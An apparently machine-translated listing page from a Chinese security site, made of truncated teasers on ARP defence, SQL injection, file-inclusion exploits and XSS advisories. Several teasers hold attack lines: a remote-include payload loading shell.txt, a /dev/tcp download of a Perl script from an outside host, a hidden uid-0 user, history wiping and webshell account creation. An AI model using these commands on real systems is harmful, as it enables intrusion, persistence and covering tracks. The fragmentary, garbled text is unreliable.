Cloud Security

Today, the sniffing tool is also full of flying, maybe your 3389 password will be sniffed one day. Today, we will introduce the simplest way: basically no one can sniff your password (China Telecom or China Netcom can still... ).However, cainiao who

  Last time I talked about the Windows anti-ARP method: http://www.bkjia.com/Article/201107/97251.html Now there are more Linux users and more Linux servers. This site is Linux. The Linux anti-ARP attack method is bound to the MAC table. Input

Editor: an old article In other words, this is the case. In our post here, we can see a brother, saying that he is a good technical engineer, looking for someone to communicate with the technology, who knows to add him Q, and then ask 'Who are

The original post is as follows:  -------------------------------------------------------------------------------- The problem is that the server has two IP addresses, one is 192.168.x.x in the Intranet and the other is a public IP address.

Nowadays, enterprises are faced with the covet and destruction of illegal hackers. Various network security vulnerabilities are frequently discovered, which consumes a considerable amount of manpower and material resources. So how can we block

Recently everyone is talking about WI-FI Hacking I am a wireless security enthusiast also talk about those wireless network data prying.First, let's take a look at the encryption methods of wireless networks. There are three ways to encrypt wireless

In a sense, "security" has been constantly fighting against "convenience. A strong password can protect our data security more effectively. We will take more ways to increase the difficulty of obtaining core information, so that destructive elements

In many cases, we often encounter SQL injection that can be used to list directories and Run Command, but it is not easy to find the directory where the web is located, so it is difficult to get a webshell. This is a good trick: Exec master. dbo.

This article can be discussed with the author here:Http://bbs.2cto.com/read.php? Tid = 120440 Author:Enterer Blog:Www.enterer.cn Reprinted and retained I have provided a series of tutorials recently. I hope you can finish the tutorials.

# Exploit: Vuln file: index. php Exploit: Target :? Dbhcms_core_dir = http://site.com/shell.txt%00 /* Need register_globals = ON and allow_url_include = ON without a second yuzaetsya as LFI */ Index. php Function dbhcms_init ($ core ){ $

I. BasicsTo guess the table name, use the statement of "ah d" here:And exists (select * from table name) Name of the name to be guessed:And exists (select field from table name)The UNION method. We recommend that you perform order by before

Yjps blog It was found that there were few discussions in China on this aspect, and some summary was reposted from overseas sites. Http://mgsdl.free.fr /? 0: 18 6th Methods VI-CODE EXECUTION The ACP allows admins to manage ages, they canChoose the

========================================================== ==============================================[»] Tribisur cms [xss] Cross Site Scripting Vulnerability========================================================== =============================

########################################### .:. Author : AtT4CKxT3rR0r1ST .:. Email : F.Hack@w.cn .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script :

By ShiDao# Title: PhpMyLogon v2 SQL Injection Vulnerability# EDB-ID: 11737# CVE-ID :()# OSVDB-ID :()# Author: Blake# Published: 2010-03-14# Verified: yes# Download Exploit Code# Download Vulnerable appView sourceprint? # Exploit Title: PhpMyLogon

In mysql injection, the load_file () function plays an important role in obtaining webshell and Elevation of Privilege. It is often used to read various configuration files, such as/etc/rc. local is the linux Startup File./Usr/local/app/apache2/conf/

By: cnbird 1. download files without wget nc or other download toolsExec 5 <>/dev/tcp/yese.yi.org/80 & echo-e "GET/c. pl HTTP/1.0"> & 5 & cat c. pl 2. Users with uid 0 added to LinuxUseradd-o-u 0 cnbird 3. bash removes the history recordExport

Affected Versions:Ucenter Home 2.0 (latest official version) + Ucenter 1.5 (latest official version) vulnerability description:The javascript. PHP file in uchome In Php, single quotes and double quotes are different:"" Fields in double quotation

Author: sure2831Body content:I won the WEBSHELL of CERNET a few days ago. , Php site webshell permissions are not small, first look at the user Therefore, a user is added to the net user asm $ asm/add to indicate that the request is

Test method:The Program (method) provided on this site may be offensive and only used for security research and teaching. You are at your own risk! [!] ========================================================== =======================================